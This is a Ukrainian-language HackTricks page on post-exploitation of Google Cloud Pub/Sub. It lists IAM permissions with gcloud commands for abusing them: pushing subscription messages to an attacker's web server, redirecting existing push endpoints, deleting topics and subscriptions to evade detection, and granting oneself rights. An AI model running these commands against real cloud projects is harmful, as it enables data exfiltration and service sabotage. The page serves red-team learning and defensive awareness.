GCP - Pub/Sub Постексплуатація
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Pub/Sub
Для отримання додаткової інформації про Pub/Sub перегляньте наступну сторінку:
pubsub.topics.publish
Опублікуйте повідомлення в темі, корисно для відправки несподіваних даних та активації несподіваних функцій або експлуатації вразливостей:
# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"
pubsub.topics.detachSubscription
Корисно для запобігання отриманню повідомлень підпискою, можливо, щоб уникнути виявлення.
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
pubsub.topics.delete
Корисно для запобігання отриманню повідомлень підпискою, можливо, щоб уникнути виявлення.
Можливо видалити тему, навіть якщо до неї прикріплені підписки.
gcloud pubsub topics delete <TOPIC NAME>
pubsub.topics.update
Використовуйте цей дозвіл, щоб оновити деякі налаштування теми, щоб порушити її, такі як --clear-schema-settings
, --message-retention-duration
, --message-storage-policy-allowed-regions
, --schema
, --schema-project
, --topic-encryption-key
...
pubsub.topics.setIamPolicy
Надайте собі дозвіл виконувати будь-які з попередніх атак.
pubsub.subscriptions.create,
pubsub.topics.attachSubscription
, (pubsub.subscriptions.consume
)
Отримайте всі повідомлення на веб-сервері:
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
Створіть підписку та використовуйте її для витягування повідомлень:
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted
pubsub.subscriptions.delete
Видалення підписки може бути корисним для порушення системи обробки журналів або чогось подібного:
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
pubsub.subscriptions.update
Використовуйте цей дозвіл, щоб оновити деякі налаштування, щоб повідомлення зберігалися в місці, до якого ви маєте доступ (URL, таблиця Big Query, Bucket) або просто для його порушення.
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
pubsub.subscriptions.setIamPolicy
Надайте собі дозволи, необхідні для виконання будь-яких з раніше згаданих атак.
pubsub.schemas.attach
, pubsub.topics.update
,(pubsub.schemas.create
)
Атакуйте схему на тему, щоб повідомлення не відповідали їй, і, отже, тема була порушена.
Якщо немає жодних схем, можливо, вам потрібно буде створити одну.
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
pubsub.schemas.delete
Це може виглядати як видалення схеми, але ви зможете надсилати повідомлення, які не відповідають схемі. Однак, оскільки схема буде видалена, жодне повідомлення насправді не потрапить у тему. Тож це БЕЗГЛУЗДО:
gcloud pubsub schemas delete <SCHEMA NAME>
pubsub.schemas.setIamPolicy
Надайте собі дозволи, необхідні для виконання будь-яких з раніше згаданих атак.
pubsub.snapshots.create
, pubsub.snapshots.seek
Це створить знімок усіх не підтверджених повідомлень і поверне їх назад до підписки. Не дуже корисно для атакуючого, але ось так:
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.